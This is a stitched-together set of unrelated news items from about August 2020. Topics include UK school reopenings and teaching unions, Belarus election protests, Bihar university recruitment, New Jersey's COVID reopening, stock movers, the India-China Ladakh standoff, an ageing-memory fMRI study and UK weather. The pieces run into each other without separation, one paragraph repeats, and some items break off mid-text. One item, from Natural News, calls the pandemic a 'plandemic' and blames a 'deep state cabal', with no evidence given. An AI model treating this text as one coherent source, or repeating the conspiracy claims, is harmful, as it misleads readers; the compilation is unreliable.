telling the paper: 'Boris has got to show the courage of Thatcher in his battle with the unions, but that's quite difficult when his divisional commander is Frank Spencer.' Mr Johnson dodged questions about research suggesting that older children can transmit coronavirus as easily as adults. He said: 'I'm afraid you are going to see outbreaks, we have seen them across the country in the last few weeks and months and we have also seen the immense efforts that local authorities have gone to, local communities have gone to, to get that outbreak under control. 'The most important thing for people to remember is that you have got to get schools back, we will get schools back, but also we have got to stick to our discipline - so in schools they have some very well thought through plans for how to manage it.' Tory MPs are urging Boris Johnson (pictured right visiting a building site in Hereford today) to emulate Margaret Thatcher's (left) battle against coal miners and force teaching unions to get children back in schools Government to publish review of virus risks to reassure schools The government is set to publish evidence about coronavirus risk in schools in a bid to reassure parents. Chief medical officer Chris Whitty has been asked by No10 to carry out a review of research before the new term starts. One study expected to be published later this week shows not one child was hospitalised in June and July. Early findings from Public Health England (PHE) research are likely to say next week that there is very little evidence of transmission in schools. Advertisement The government is set to publish evidence about coronavirus risk in schools in a bid to reassure parents. Chief medical officer Chris Whitty has been asked by No10 to carry out a review of research before the new term starts. One study expected to be published later this week shows not one child was hospitalised in June and July. Early findings from Public Health England (PHE) research are likely to say next week that there is very little evidence of transmission in schools. The unions insist they are not trying to sabotage the back-to-school plans but are asking genuine questions about the Government's approach and the lack of a plan B should virus cases escalate again. Geoff Barton, general secretary of the Association of School and College Leaders, said: 'This idea that demonising the trade unions lets the Government off the hook with difficult questions we are asking. 'They ought to be facing difficult questions because we are in the middle of something extremely challenging.' Mr Barton added: 'We would like to see more thought given to blended learning as a back-up plan, which could be a rota system of children in for one week and then learning at home for one week. This would be better than children returning solely to remote education.' Avis Gilmore, deputy general secretary of the National Education Union, called for a more robust test, track and trace system to be in place to ensure the welfare of pupils and school staff. She said: 'Government could do much more to assure schools and local authorities that, should a second spike occur, either nationally or locally, there is a clear Plan B in place. 'This plan needs to spell out what action must be taken in a variety of situations, so that schools and colleges can make the preparations parents expect of them.' The reopening of schools north of the border has also caused tensions between Nicola Sturgeon and unions. The Educational Institute of Scotland (EIS) said the Scottish Borders and Moray local authorities have failed to consult and reach agreement with it and other trade unions, in line with Scottish Government guidelines. Pupils in the Scottish Borders returned to school on Tuesday, while they will be back in classrooms in Moray on Wednesday. The EIS said a lack of discussion around the flexibility of phased returns means staff are under 'intense pressure' over schools reopening. Larry Flanagan, general secretary of the union, said about 80 per cent of its members have expressed 'deep concerns' about safety over the reopening of schools. Governor Phagu Chouhan On Monday gave his nod to the statute for the appointment of assistant professors of Bihar prepared by the statute committee comprising three vice-chancellors. The opinion of all the VCs and the state government had been earlier sought on the draft statute. This clears the decks for the recruitment of assistant professors through the Bihar state university service commission in the seriously understaffed state universities, which are working at less than 50% of the sanctioned strength at present. The appointments will be made through all-India advertisements on the basis of guidelines laid down by the UGC and accepted/modified by the Bihar government. However, a senior commission functionary said, so far the commission has not received the details of vacancies from the universities. A couple of years ago, the vacancies were estimated to be over 8000 and it was also announced in the Bihar Legislative Assembly. Now, after rationalisation, it could be around 5000, though the exact figure with application of reservation roster still remains unknown. Bihar legislature had passed the Bihar state university service commission Act in 2017 to vest the power of recruitment back in the commission, which was earlier dissolved in 2007. Ahead of the Lok Sabha elections, Bihar government had constituted the commission in February 2019, with Dr. Rajvardhan Azad, former chief, and professor of ophthalmology at the All India Institute of Medical Sciences (AIIMS), New Delhi, as the chairman. It may be a sheer coincidence that the statute has been cleared just ahead of the assembly elections. However, it has quite a few changes from the statute framed for the appointment of assistant professors through the Bihar Public Service Commission (BPSC) in 2015. Now. the candidates having completed Ph.D. will get 30 marks, while those having qualified national eligibility test (NET) with junior research fellowship (JRF) will get seven points and those with just NET will get five points. Candidates having cleared M.Phil with 60% marks or above will get seven points. If a candidate has done both M.Phil and Ph. D, he or she will be entitled to a maximum of 30 marks. There will be 10 marks awarded for research papers (two marks each for the research publications published in peer-reviewed journals or UGC-Care/ Scopus journals). For teaching or post-doctoral experience, there will be two marks awarded for each year to a maximum of 10 marks. The merit list of successful candidates will be made on the basis of performance in both academic qualifications (100 marks) and interview (15 marks). The reservation roster of the Bihar government will be applicable. If candidates score equal aggregate (academic qualification and interview), one having a higher score in education qualification or older age will be through. SHARE THIS ARTICLE ON Liberty of individual was prioritised by the Supreme Court (SC) even in times when functioning of the court was constrained due to Covid-19, Chief Justice of India (CJI), SA Bobde said on Tuesday while hearing a plea relating to the detention of Dr Kafeel Khan. The bench, also comprising justices AS Bopanna and V Ramasubramanian, was hearing a plea filed by Khans mother Nuzhat Perween seeking time-bound hearing by Allahabad high court (HC) of a petition seeking Khans release. Liberty is something which we have prioritised even during hard times, CJI Bobde remarked. Khan was detained under the National Security Act for speeches made in December 2019 at Aligarh Muslim University during protests against the Citizenship Amendment Act (CAA). Perween initially approached the SC seeking his release but the top court, on March 18, asked her to move the high court first. The hearing before the HC was delayed, prompting Perween to move the apex court. We request the HC to dispose of the matter peremptorily as early as possible, having regard to the fact that it involves the liberty of the applicant, within a period of fifteen days from the date the parties appear before it, the SC ordered. Police Crack Down On Protests In Belarus After Results Show Lukashenka Winning In Landslide By RFE/RL's Belarus Service August 10, 2020 MINSK Belarusian security forces violently dispersed protests in Minsk and other cities after early results from the country's presidential election gave incumbent President Alyaksandr Lukashenka a commanding lead. Svyatlana Tsikhanouskaya, the main opposition candidate who drew tens of thousands of people to her rallies during the campaign, refused to recognize the unofficial result after polls closed in the August 9 vote. The Belarusian Central Election Commission announced preliminary results on August 10, saying Lukashenka got 80.23 percent of the vote, while Tsikhanouskaya received 9.9 percent. Thousands of her supporters took to the streets to express their dissatisfaction and were eventually dispersed by police dressed in riot gear who used rubber bullets, water cannons, and tear gas. The total number of protesters in Minsk was difficult to estimate because they were scattered throughout the city, RFE/RL's Belarus Service said. In violent scenes posted on Twitter by the independent news outlet Tut.by, police officers were seen beating protesters with truncheons. People can be heard shouting, "This is our country!" as drivers flashed their car lights and honked their horns. After breaking up the big crowds, police chased smaller groups of protesters through downtown Minsk for several hours, the Associated Press reported. In Brest, where law enforcement officers used tear gas and stun grenades, protesters gradually dispersed to a crowd of 200-300 from an estimated total of 5,000, according to Novaya gazeta. The Minsk-based Vyasna (Spring) human rights group said 126 people were detained across the country, including 55 in Minsk. Vyasna also said two of the detainees were injured. Among the people detained were 16 journalists and 40 observers, it said. State news agency Belta said early on August 10 that police had taken control of the situation "at unsanctioned mass events," citing the Interior Ministry. In an appeal read live over the phone on Current Time by her associate, Maryya Kalesnikava, Tsikhanouskaya called on both the security forces and Belarusian citizens to refrain from violence. "I ask everyone who is now making decisions, and above all the commanders of special forces: Do not use force against civilians," she said. "I ask the police and the troops to remember that they are part of the people. Once again, I ask the voters: no provocation, no need to give a reason to use violence against you. "Please stop the violence.... Officers, I know you can do this." Early on August 10, an Interior Ministry spokeswoman told RFE/RL that the unauthorized rallies were "not over yet," so she could not count the detainees. "What has happened is awful," Tsikhanouskaya told a news conference, saying she did not recognize the results of the exit poll. "I believe my eyes, and I see that the majority is with us," Tsikhanouskaya said from her headquarters. Throughout election day, police and soldiers were transported into Minsk, where they cordoned off the city and took positions at strategic sites in anticipation of unrest. Public transportation was also limited in Minsk in an apparent attempt by authorities to prevent protests, and there was almost no access to social-media networks from early in the day. Internet freedom monitor NetBlocks reported Internet connectivity had been disrupted across the country since early morning. The disruption affected access to the Internet and social-media platforms -- with Facebook, Messenger, YouTube, Instagram, WhatsApp, Telegram, and Viber all experiencing disruptions. Two grassroots election-monitoring websites also were inaccessible. Earlier in the day, voters formed long lines at polling booths across the Eastern European country and at embassies abroad. RFE/RL's Belarus Service reported that many people lining up at the polls wore white bracelets signaling support for the opposition. Social-media users also posted pictures of voters wearing white bracelets lining up at Belarusian embassies, including in Moscow, Berlin, and London. According to an exit poll conducted at 21 Belarusian diplomatic posts, Tsikhanouskaya garnered 81.5 percent of the vote compared to about 6 percent for Lukashenka. Several voters told RFE/RL that they had never taken part in an election in the country before but had turned out to cast a ballot on August 9 because they want and expect change. Tsikhanouskaya -- who had told her supporters to wear the bracelets as a symbol of "honesty and purity" -- had earlier cast her ballot and demanded election results free of fraud. "I really want the election to be honest, because if the authorities have nothing to fear, if all the people are for [Lukashenka], then we will agree with [the results]," Tsikhanouskaya said. Tsikhanouskaya, who has teamed up with two prominent women from the campaigns of rejected presidential candidates, has drawn huge rallies with a simple electoral promise to free all political prisoners and rerun a free and fair election. "It's a clear sign that people want change. People have woken up. They no longer want to live in fear and humiliation. They want to feel that they are citizens of their country. It's inspiring. I realize there are people behind me, around me, and ahead of me," Tsikhanouskaya said in a recent interview with Current Time, the Russian-language network led by RFE/RL in cooperation with VOA. Now that the election is over, there is mounting concern that an embattled Lukashenka will follow through on threats to use force on any postelection dissent. The election follows a campaign marked by the arrest of more than 1,000 opposition supporters, the barring of several potential challengers, claims of a Russian plot to sow instability, and the rise of an unheralded candidate in the form of the 37-year-old Tsikhanouskaya. Lukashenka said after casting his vote in Minsk that neither he nor the government will allow Belarus to slip into "chaos" or "civil war" after the results of the election are announced. Lukashenka also said that security officials in the country are considering "various options" over the possibility of unrest over the results. Four challengers were on the ballot, but attention focused on Tsikhanouskaya, who was a last-minute replacement after husband, Syarhey Tsikhanouski, a popular vlogger who urged Belarusians to squash the "cockroach" Lukashenka with their slippers, was barred from running following his controversial arrest in late May. The election comes with Lukashenka's popularity apparently waning under a slumping economy and the country's response to the coronavirus pandemic. The vote also comes as relations between Belarus and traditional ally Russia have worsened since December 2019 when Lukashenka pulled out at the last moment from plans for deeper integration with Russia under their 1999 Union Treaty. Since then, Moscow has limited energy supplies to Minsk, which is dependent on discounted Russian gas and oil to run its inefficient, largely state-dominated economy. As in the past when relations with Russia soured, Lukashenka has fostered closer ties with both the United States and Europe in recent years. But that rapprochement could be undermined by a crackdown on the opposition and potential massive electoral fraud. Lukashenka has suggested those opposed to him are "puppets" controlled by foreign masters bent on bringing instability to the country. In an address to parliament on August 4, he played up fears of a "color revolution" backed by Moscow and hostile powers in the West. "They've decided to try out new forms of color revolution against us," he said, a term that normally refers to earlier uprisings in Georgia, Ukraine, and Kyrgyzstan. "It won't work." Belarus announced on July 29 that 33 members of the Russian private military contractor Vagner had been detained near Minsk and accused them of a vague plot to incite "instability" around the vote. Belarusian officials also linked some opposition leaders, including Tsikhanouskaya's husband, of unspecified links with the mercenaries. The Organization for Security and Cooperation in Europe (OSCE) announced in July that it would not send observers because they had not received a formal invitation. It is the first time the OSCE is not monitoring a nationwide vote in Belarus since 2001. The Commonwealth of Independent States (CIS), a Russian-led grouping of former Soviet republics, had observers at the polls. In the past, CIS observers have largely approved votes in Belarus, unlike Western and international observers who have never deemed any election under Lukashenka as free or fair. Belarus has more than 48,000 of its own monitors but most are from state-run or state-controlled bodies. But a few dozen independent observers, including 47 from the Belarusian Helsinki Committee, were allowed to monitor polling stations. An opposition initiative called Honest People also fielded vote monitors. Meanwhile, the Voice platform, which called on voters to send photos of completed ballots for the presidential election, had counted over 1 million registered users who promised to help keep track of the vote. However, with the Internet disrupted it is unclear how the platform functioned. With reporting by Current Time, RFE/RL's Belarus Service, Tony Wesolowsky, Reuters, and AFP Source: https://www.rferl.org/a/belarus-lukashenka- presidential-election/30773816.html Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Arnotts just released a recipe for Milk Coffee Tiramisu. Its pretty easy to make, so youve got no excuse not to try it! Arnott's has also just announced its partnership with Plunket for its 'Dunk it for Plunket' campaign. Encouraging Kiwis to host a morning tea to raise money for families that need Plunket the most. Everyone that signs up to host a morning tea will recieve a special host pack, complete with Arnotts bikkies ready for dunking. The first 50 groups to raise $200.00 will also nab an additional box of Arnotts goodies, and an even bigger box for the first 5 groups to hit $500.00! Register to host your own morning tea right here. Now onto the recipe: CANBERA (dpa-AFX) - What's moving these stocks in pre-market hours today? In the Green 1. Shares of Pfenex Inc. (PFNX) are up more than 60% at $12.35 in pre-market trading Tuesday as the company is all set to be acquired by Ligand Pharmaceuticals Inc. (LGND) for approximately $438 million or $12 per share in cash. In addition, Pfenex stockholders are entitled to receive $2 per share as a Contingent Value Right (CVR) in the event a predefined regulatory milestone is achieved by December 31, 2021. The deal is expected to close next quarter. 2. Equillium Inc. (EQ) is up more than 25% at $12.63 in pre-market hours today, following positive interim data from the first two cohorts of dose escalation portion of the company's phase Ib study of Itolizumab in acute graft-versus-host disease, dubbed EQUATE. Across the first two dose cohorts, Itolizumab has been generally well-tolerated to date, and five of seven patients achieved a complete response by Day 29. 3. Clearside Biomedical Inc. (CLSD) is up more than 18% at $2.12 in pre-market trading. The company has a couple of anticipated milestones for the coming months. A phase I/IIa clinical trial of CLS-AX in neovascular age-related macular degeneration (wet AMD) is expected to be initiated by the end of 2020, with initial safety data from the first cohort expected in mid-2021. The NDA for Xipere, a suprachoroidal injection designed for the treatment of macular edema associated with uveitis, is expected to be resubmitted in the first half of 2021. 4. Sunesis Pharmaceuticals Inc. (SNSS) is up over 15% at $0.37 in pre-market trading. The company is slated to announce financial results for the second quarter ended June 30, 2020, today. 5. Sorrento Therapeutics Inc. (SRNE) is up more than 11% at $21 in pre-market trading Tuesday. On July 29, the company entered into a licensing agreement with Columbia University for the rights to a rapid, one-step diagnostic test that detects the SARS-CoV-2 virus in as little as 30 minutes from a sample of saliva. A phase II trial of Abivertinib in patients with COVID-19 who have moderate to severe pulmonary symptoms is expected to start this month. 6. Guardion Health Sciences Inc. (GHSI) is up over 4% at $0.45 in pre-market trading today. The company is slated to report financial results for its second quarter of 2020 ended June 30, 2020, on Wednesday, August 12, 2020, following the close of the market. In the Red 1. Fennec Pharmaceuticals Inc. (FENC) is down over 49% at $5.11 in pre-market trading Tuesday, as the FDA has declined to approve the company's PEDMARK, proposed for the prevention of platinum-induced ototoxicity in pediatric patients. 2. Mesoblast Limited (MESO) is down 25.37% at $13 in pre-market trading Tuesday, following the release of FDA briefing documents related to Ryoncil, proposed for pediatric steroid-refractory acute graft versus host disease. An FDA panel is slated to review Ryoncil on August 13, 2020. 3. Trevena Inc. (TRVN) is down over 14% at $2.70 in pre-market hours today, giving back some of what it gained yesterday. The shares were up over 30% yesterday, following FDA approval of OLINVYK for the management of acute pain in adults severe enough to require an IV opioid analgesic. The product is expected to be available next quarter. 4. Adial Pharmaceuticals Inc. (ADIL) is down 10% at $1.65 in pre-market trading today. On August 6, the company had announced a third-party sales and distribution agreement with Brik LLC for Rapid Result COVID-19 antibody test kits. 5. Inovio Pharmaceuticals Inc. (INO) is down more than 7% at $17.50 in pre-market trading. Yesterday, the company reported financial results for the quarter ended June 30, 2020, and provided a general business update, including near-term expectations for its COVID-19 DNA vaccine development program and a mid-year clinical program update for its DNA medicines portfolio. Copyright RTT News/dpa-AFX Kostenloser Wertpapierhandel auf Smartbroker.de A coalition of more than 100 businesses and nonprofit groups in New Jersey are urging Gov. Phil Murphy to restart his plan to gradually reopen the states economy now that coronavirus numbers are on the decline again. Murphy paused the recovery plan in Stage 2 after the states COVID-19 rate of transmission crept up last month. Gyms, movie theaters, and indoor dining sections of restaurants and bars are among the businesses that remain closed until further notice. But the New Jersey Business Coalition wrote in a letter to the governor Tuesday that with the states rate of transmission below 1 and its positivity rate below 2, there is no reason not to proceed to reopen our economy. If data determines dates relative to reopening, as Governor Murphy has consistently said, it is appropriate that as our COVID-19 cases continue to go down, New Jerseys economic numbers should rise, the group wrote. Unfortunately, this is not the case, and we find ourselves and our economy in an unnecessary and extenuated pause mode. The business coalition also presented their own recommendations for how to further reopen the economy and suggested the state should take a regional approach to reopening, allowing safeguards to protect against hotspots. Murphy has so far stuck to a statewide approach, citing how dense New Jersey is. The ultimate goal, the group said, is so businesses can better prepare for the months ahead. Decisive action is needed immediately so businesses will know whether to plan for a further reopening now or a prolonged limit on their business, necessitating greater government support, the coalition wrote. As such, a grid of safe vs. cautious counties can easily be developed. We should continue to reopen in regions of the state where the trend lines indicate the ability to do so. The letter comes a day after Murphy announced the states transmission rate fell to 0.98, below the key benchmark of 1, about a week after officials announced Aug. 2 it increased to 1.49, a four-month high. Officials announced Tuesday the rate dropped again, to 0.98. Anything above 1 means each newly infected person is passing the virus to at least one other person, on average. Anything below 1 means the outbreak is shrinking. The states positivity rate the percentage of residents who test positive for the virus in one day was 1.62% on Aug. 6, the date with the most recent available data. State officials Tuesday reported 14 more deaths attributed to COVID-19 and 498 more positive tests. Those numbers are down after New Jersey an early coronavirus hotspot saw concerning bumps in the number of new cases late last month. They are also significantly from the states mid-April peak, when officials were announcing hundreds of new deaths and thousands of new cases a day. CORONAVIRUS RESOURCES: Live map tracker | Newsletter | Homepage Polls show a majority of New Jerseyans support the pace Murphy has reopened the state. But numerous businesses and lawmakers have called on Murphy to lift restrictions more quickly as the states economy suffers. Businesses have lost substantial revenue, while some have permanently closed. Nearly 1.5 million workers in the state have filed for unemployment benefits since mid-March. Murphys administration has set up grant funds and other financial programs to help New Jersey businesses. The state said the New Jersey Economic Development Authority has committed more than $100 million in federal coronavirus aid to help more than 20,000 small businesses across the state. Many businesses, though, say they still need help. And some have accused Murphys administration of doling out aid too slowly. Shortly after the business coalition sent its letter, Murphy announced Tuesday that the EDA approved $15.3 million in federal funding for grants to small businesses in 12 counties that didnt get direct allocation in the CARES Act passed by Congress. BREAKING: Our Board just approved using $15.3M in #CARESAct funding to provide grants through our #SmallBiz Business Emergency Assistance Grant Program to businesses located in 12 NJ counties that didn't get direct allocations of federal CARES Act funding! https://t.co/Bzq2kDrFIM New Jersey EDA (@NewJerseyEDA) August 11, 2020 Murphy on Monday urged residents to keep social distancing and wearing masks to make sure the numbers dont spike again and help prevent more death. Please dont get complacent, he said. The virus is out there. The governor also said permitting indoor dining remains risky, citing a study of an outbreak from a restaurant in China in January. Allowing diners to sit maskless for an extended period of time in a restaurant where the air-conditioning unit could silently spread coronavirus is a risk we cannot yet take, Murphy said. He did say he had a meeting Monday morning about trying to piece together what indoor dining could look like, why gyms could look like. I dont accept were not able to get there in the absence of a vaccine or the end of the pandemic, Murphy said. I hope we get there. Were not there yet. We need to see these numbers consistently and sustained down. Meanwhile, Murphy on Monday also threatened to shut down Jersey Shore bars that are not taking steps to require patrons to wear masks and socially distance while waiting on lines to enter establishments. He cited an NJ Advance Media report from four crowded bars on Saturday night showing long, crowded lines. Our journalism needs your support. Please subscribe today to NJ.com. Brent Johnson may be reached at bjohnson@njadvancemedia.com. U.S. Treasury Secretary Mnuchin speaks to reporters in the U.S. Capitol in Washington WASHINGTON (Reuters) - U.S. Treasury Secretary Steven Mnuchin on Monday said companies from China and other countries that do not comply with accounting standards will be delisted from U.S. stock exchanges as of the end of 2021. Mnuchin and other officials recommended the move to the U.S. Securities and Exchange Commission last week to ensure that Chinese firms are held to the same standards as U.S. companies, prompting China to call for frank dialogue. Mnuchin told a White House briefing the SEC was expected to adopt the recommendations. "As of the end of next year ... they all have to comply with the same exact accounting, or they will be delisted on the exchanges," he said. The recommendation is part of a push by the Trump administration to correct what it calls major imbalances in ties between the world's two largest economies. Tensions between the two countries have flared in past months over China's handling of the coronavirus outbreak, Hong Kong and human rights. U.S. President Donald Trump said China was also failing to meet its commitments to buy more U.S. goods under a Phase 1 trade deal signed in January, although he said purchases should increase next year. "We did a Phase 1 deal and it was a wonderful deal, and all of a sudden it means very little in the overall import of things," Trump told reporters. He said increased purchases of U.S. goods required under the trade deal would "never pay for the loss of life in our country and all over the world." Trump also repeated his calls for the World Trade Organization to stop treating China as a developing country, arguing that doing so gave Beijing unfair advantages over the United States and other countries. China argues the classification is justified since many of its regions are still developing. (Reporting by Jeff Mason, Andrea Shalal and Alexandra Alper; Editing by Chris Reese and Sam Holmes) (Natural News) Jeff Bezos is once again on a censorship spree, this time with the imposition of a fresh ban on China Virus: How Justin Trudeaus Pro-Communist Ideology Is Putting Canadians in Danger, a book that expresses criticism towards Canadas response to the Wuhan coronavirus (COVID-19) crisis. Because the information contained in this book does not match the official government narrative about the plandemic, Bezos Amazon empire has decided to instead refer its customers to official sources of information on the subject in order to keep the ruse going for as long as possible. Author Ezra Levant, the founder of Rebel News, says that the book is purely a discussion of Canada-China politics, as the very title makes clear. But this is not enough for Amazon, which issued a response to Levant that states: Due to the rapidly changing nature of information around the coronavirus, we are referring customers to official sources about the virus. As a result (sic) we are not offering your book for sale. For the first two months following the books release, Amazon refused to list it on its platform at all. However, the tech giant finally relented, resulting in massive sales and a rapid rise to Amazons bestseller list. This caught the attention of the deep state cabal, of course, which appears to have quickly intervened to get the book removed from Amazon. As a result, the book is no longer No. 1 on Kindle in Canada and No. 2 in the country among paperbacks. Following the ban, Rebel News has been giving away an e-book version of the title for free on its website. It has also arranged with a publisher to release a paperback version that people can purchase elsewhere. They say the book contradicts official sources of information about the virus, reads the official China Virus book website. But the book does not give medical advice. Jeff Bezos is desperate to become best buddies with communist China Ironically, Amazons pulling of China Virus from its title lineup is Chinese-style censorship, and exactly the type of thing that the book itself highlights as being a prominent feature of the communist Chinese regime. We have seen this type of thing before, of course, including with Amazons censorship of Killing Free Speech, a documentary about Amazon-style censorship of politically correct content and information. There would seem to be no topic too generic or innocuous that Amazon is unwilling to censor these days, which means vendors and content creators need to beware, especially if they are hoping to make any money using the Amazon platform. Keep in mind that Bezos is actively trying to ingratiate himself with China in order to gain access to the massive untapped market that exists there. Part of this requires censoring all content that is critical off the Chinese Communist Party (CCP), including the role it played in unleashing the Wuhan coronavirus (COVID-19). In the meantime, Levant is continuing to hawk his book straight from the source by giving it away for free on his website. He is recommending a donation of any amount for people who choose to download it, noting that the e-book had been selling on Amazon for $7.50 a pop. No one knows how deeply China has penetrated our society, wrote one WND commenter in response to the news. Where are the late night TV China jokes? We know that Amazon is among the premiere haters of truth and promoters of Fake News propaganda, wrote another. The left hates anyone who does not promote their Marxist, destroy-America narrative. For more related news about Big Tech censorship in the style of communist China, be sure to check out Censorship.news. Sources for this article include: WND.com RebelNews.com ChinaVirusBook.com NaturalNews.com India insisted on 'complete disengagement' in all its talks with China on eastern Ladakh row: Govt De-escalation may take time along LAC, India prepared for long haul says top General India oi-Vicky Nanjappa New Delhi, Aug 11: The Indian Army is preparing for a long haul along the Line of Actual Control as the de-escalation would take more time. Chief of Defence Staff, General Bipin Rawat informed a committee of lawmakers that the de-escalation in Ladakh where the Chinese troops transgressed in June may take more time. He also said that this transgression led to the Indian troops being deployed in large numbers. The General also emphasised that India its prepared to face any onslaught. However efforts are being made to bridge the trust deficit with China, he also said. India-China stand off unlikely to overshadow BRICS, SCO summits Meanwhile, India has told China to stop further construction and pull back troops from the Depsang-Daulat Beg Oldie sector of eastern Ladakh. During the talks between the two sides, India also told China to stop further construction activities in the area. During the talks, India stressed upon the importance of reducing tensions in the Depsang plains, an official familiar with the developments told OneIndia. This has been a major flash point for several years now, owing to the perceptions of the Line of Actual Control. The military level talks between the two sides was held on Saturday between 11 am and 7,30 pm. India stressed on the fact that the PLA troops who are camping near the Bottleneck area in the Depsang plains since May should not block Indian soldiers from going to their Patrolling Points-10, 11, 12 and 13. Pull back from Dapsang-Daulat Beg Oldie sector, India tells China at military level talks Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News The primary agenda of the meeting was to reduce tensions at the Depsang Plains, where there is a massive build-up of troops of both sides. The meeting would discuss ways to de-escalate as well as disengage. India will also seek restoration of patrolling rights for its soldiers. Older adults might be representing events in different ways, and transitions might be picked up differently than, say, a 20-year-old, said Zachariah Reagh, assistant professor of psychological and brain sciences in Arts & Sciences. Reagh looked at fMRI images to study memory differences in different age groups. Credit: Shutterstock "Memory is the first thing to go." Everyone has heard it, and decades of research studies seem to confirm it: While it may not always be the first sign of aging, some faculties, including memory, do get worse as people age. It may not be that straightforward. Zachariah Reagh, assistant professor of psychological and brain sciences in Arts & Sciences at Washington University in St. Louis, looked at the brain activity of older people not by requiring them to recite a group of words or remember a string of numbers. Instead, Reagh looked at a "naturalistic approach," one that more closely resembled real-world activities. He found that brain activity in older adults isn't necessarily quieter when it comes to memory. "It's just different," he said. The study results were published today in the journal Nature Communications. Common tests of memory involve a person's ability to remember a string of words, count backward, or recognize repeated images. "How many times do you suspect a 75-year-old is going to have to remember, 'tree, apple, cherry, truck?'" asked Reagh, first author on the paper with Angelique Delarazan, Alexander Garber and Charan Ranganath, all of University of California, Davis. Instead, he used a data set from the Cambridge Center for Aging and Neuroscience (Cam-CAN) that included functional MRI (fMRI) scans of people watching an 8-minute movie. "There were no specific instructions, or a 'gotcha' moment," Reagh said. "They just got to kick back, relax and enjoy the film." But while they may have been relaxing, the subjects' brains were hard at work recognizing, interpreting and categorizing events in the movies. One particular way people categorize events is by marking boundarieswhere one event ends and another begins. An "event" can be pretty much anything, Reagh said. "This conversation, or a component of it, for example. We take these meaningful pieces and extract them out of a continuous stream." And what constitutes a boundary is actually consistent among people. "If you and I watch the same movie, and we are given the instruction to press a button when we feel one meaningful unit has ended, you and I will be much more similar in our responses than we are different," Reagh said. When looking at the fMRI resultswhich use changes in blood flow and blood oxygen to highlight brian activityolder adults showed similarly increased activity as a control group at the boundaries of events. That's not to say that brains of all ages are processing the information similarly. "It's just different," Reagh said. "In some areas, activity goes down and, in some, it actually goes up." Overall activity did decline pretty reliably across ages 18-88, Reagh said, and when grouped into "younger, middle aged, and older," there was a statistically reliable drop in activity from one group to another. "But we did find a few regions where activity was ramped up across age ranges," he said. "That was unexpected." Much of the activity he was interested in is in an area of the brain referred to as the posterior medial networkwhich includes regions in the midline and toward the backside of the brain. In addition to memory, these areas are heavily involved in representing context and situational awareness. Some of those areas showed decreased activity in the older adults. "We do think the differences are memory-related," Reagh said. At the boundaries, they saw differences in the levels of activity in the hippocampus that was related to memory in a different measurement"story memory," he called it. "There might be a broad sense in which the hippocampus's response to event boundaries predicts how well you are able to parse and remember stories and complex narratives," no matter one's age, Reagh said. But for older adults, closer to the front of the brain, particularly the medial prefrontal cortex, things were looking up. Activity in that area of the brain was ramped up in older adults. This area is implicated in broad, schematic knowledgewhat it's like to go to a grocery store as opposed to a particular grocery store. "What might be happening is as older adults lose some responsiveness in posterior parts of the brain, they may be shifting away from the more detailed contextual information," Reagh said. But as activity levels heighten in the anterior portions, "things might become more schematic. More 'gist-like.'" In practice, this might mean that a 20-year-old noting an event boundary in a movie might be more focused on the specificswhat specific room are the characters in? What is the exact content of the conversation? An older viewer might be paying more attention to the broader pictureWhat kind of room are the characters in? Have the characters transitioned from a formal dinner setting to a more relaxed, after-dinner location? Did a loud, tense conversation resolve into a friendly one? "Older adults might be representing events in different ways, and transitions might be picked up differently than, say, a 20-year-old," Reagh said. "An interesting conclusion one could draw is maybe healthy older adults aren't 'missing the picture." It's not that the info isn't getting in, it's just it's getting in differently." Explore further High-resolution brain imaging provides clues about memory loss in older adults More information: Zachariah M. Reagh et al. Aging alters neural activity at event boundaries in the hippocampus and Posterior Medial network, Nature Communications (2020). Journal information: Nature Communications Zachariah M. Reagh et al. Aging alters neural activity at event boundaries in the hippocampus and Posterior Medial network,(2020). DOI: 10.1038/s41467-020-17713-4 T hunderstorms and high temperatures will again sweep the UK today as the heatwave continues. The Met Office has issued a yellow storm warning for all of England and the eastern half of Scotland, with the risk of heavy downpours. Meanwhile, a more serious amber warning has been issued for eastern Scotland, meaning residents should be on alert for flash flooding, lightning strikes and hailstones. Delays to public transport, difficult driving conditions and possible road closures could also follow, while deep and fast floodwater could be a threat to human life. Under its yellow warning, the Met Office is predicting storms in particular for the north-west, north Wales and the West Midlands for Wednesday and Thursday. Chief meteorologist Steve Ramsdale said in these areas exceptional rainfall totals could be seen of 60 millimetres in an hour with a very small chance of 150 millimetres of rainfall in three or four hours. Footage shared on social media on Tuesday night showed skies in Scotland and the Midlands lit up with dramatic forks of lightning. The Environment Agency has five flood alerts posted for possible flooding in areas around Birmingham, while 17 flood alerts remain current across Scotland. Elsewhere in the north, Leeds, Sheffield and Nottingham are set to see highs of 30C. Further south, London is set to see a top temperature today of 31C, which is also forecast for other areas including Cambridge, Yeovil and Southampton. Hot Weather: Tuesday 11 August 1 /24 Hot Weather: Tuesday 11 August People enjoy the hot weather on Southsea beach in Hampshire Andrew Matthews/PA Owen Chisholm, 13, falls into the River Thames from a pontoon at the Richmond Canoe Club, as he enjoys the hot weather in Richmond, south west London Kirsty O'Connor/PA People enjoy the hot weather in Stratford-upon-Avon, Warwickshire Jacob King/PA Swimmer, Lala, 42, takes to the water at the Serpentine lido as temperatures are set to soar to 30 degrees Lucy Young People enjoy the hot weather in Stratford-upon-Avon, Warwickshire Jacob King/PA Swimmers take to the water at the Serpentine lido Lucy Young Swimmers take to the water at the Serpentine lido Lucy Young People enjoy the hot weather in Stratford-upon-Avon, Warwickshire Jacob King/PA A lady shields herself from the sun as people enjoy the hot weather in Stratford-upon-Avon, Warwickshire Jacob King/PA People enjoy the hot weather in Stratford-upon-Avon, Warwickshire Jacob King/PA People enjoy the hot weather as they take a punt trip along the River Cam in Cambridge Joe Giddens/PA A person jumps into the sea as people enjoy the hot weather on Southsea beach in Hampshir Andrew Matthews/PA People walk along the sea front as they enjoy the hot weather on Southsea beach in Hampshire Andrew Matthews/PA People enjoy the hot weather as they take a punt trip along the River Cam in Cambridge Joe Giddens/PA People enjoy the hot weather on Southsea beach in Hampshire Andrew Matthews/PA People enjoy the hot weather in Stratford-upon-Avon, Warwickshire PA Jack, 10, plays with his kite as he enjoys the hot weather by Chesterton Windmill, Warwickshire PA People enjoy the hot weather as they take a punt trip along the River Cam in Cambridge PA Ten properties in Lancashire were affected by flooding on Tuesday following overnight storms, the Environment Agency said. The rainfall caused the Burrow Beck waterway in Scotforth, south Lancaster, to rise by almost a metre in less than three hours, the agencys flood risk manager Andy Brown said. Loading.... The Environment Agency said further heavy showers 